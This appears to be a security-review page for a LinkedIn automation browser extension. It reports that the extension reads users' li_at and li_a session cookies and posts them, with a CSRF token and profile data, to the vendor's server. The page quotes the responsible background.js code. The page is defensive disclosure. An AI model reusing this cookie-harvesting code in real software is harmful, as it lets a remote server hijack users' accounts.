Is Linked Leads, Linkedin Automation and CRM safe?
Linked Leads, Linkedin Automation and CRM is medium risk. When you log in or connect LinkedIn from the dashboard, the extension reads your li_at and li_a session cookies and posts them, in plain JSON, to its own server at api.kanbox.io, which can then act as you on LinkedIn.
Who publishes itQuardly - no other listings under this identity, 1 shared hostname
Quardly - no other listings under this identity, 1 shared hostname
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension sends your LinkedIn session cookie to its own backend server
When you log in or connect LinkedIn from the dashboard, the extension reads your li_at and li_a session cookies and posts them, in plain JSON, to its own server at api.kanbox.io, which can then act as you on LinkedIn.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You log into LinkedIn, or click Connect LinkedIn in the extension's own dashboard.
The extension reads your LinkedIn session cookies and posts them to the vendor's own backend.
The same POST recurs whenever the cached cookie value changes on a later relogin.
- LinkedIn session cookie (li_at)AQEDATEv...redacted-session-token
Your full-strength LinkedIn session cookie. Anyone holding it can act as you on linkedin.com.
- LinkedIn Premium cookie (li_a)AQFqZX...redacted-premium-token
A second session cookie tied to your Premium/Sales Navigator entitlement.
- CSRF tokenajax:1234567890123456789
The token paired with your session cookie on LinkedIn's own state-changing requests.
- Your LinkedIn profile{\"firstName\":\"Jane\",\"lastName\":\"Doe\"}
Your full profile record as returned by LinkedIn's own /me endpoint.
Cookie reader and the login POST that ships the cookies off-device
Cookie readers
background.jsconst apiUrl = 'https://api.kanbox.io/';async function getLinkedInCookie() { const r = await getCookies(); // chrome.cookies.getAll({domain:'www.linkedin.com'}) let current = null; r.forEach((item) => { if (item.name === 'li_at') { current = item.value; } }); return current;}async function getPremiumCookie() { const r = await getCookies(); let current = null; r.forEach((item) => { if (item.name === 'li_a') { current = item.value; } }); return current;}login()
background.jslet linkedInCookie = null;let premiumCookie = null;async function login() { const csrfToken = await getCsrfToken(); const responseMe = await linkedinLogin(); if (responseMe.status === 200) { const dataMe = await responseMe.json(); linkedInCookie = await getLinkedInCookie(); // li_at premiumCookie = await getPremiumCookie(); // li_a const responseKanbox = await fetch( `${apiUrl}auth/linkedinloginuser?...`, { method: 'POST', headers: { 'Content-Type': 'application/json', referer }, body: JSON.stringify({ user: dataMe, email, linkedin_cookie: linkedInCookie, premium_cookie: premiumCookie, jsessionid: csrfToken, pageInstance, whitelabel, }), } ); const data = await responseKanbox.json(); currentUser = data.user; currentAccessToken = data.token?.access; return data; } return 'no_auth';}- api.kanbox.io
The extension vendor's own backend (Kanbox / Linked Leads). Receives your raw li_at/li_a cookies and can replay your LinkedIn session server-side, independent of your browser.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.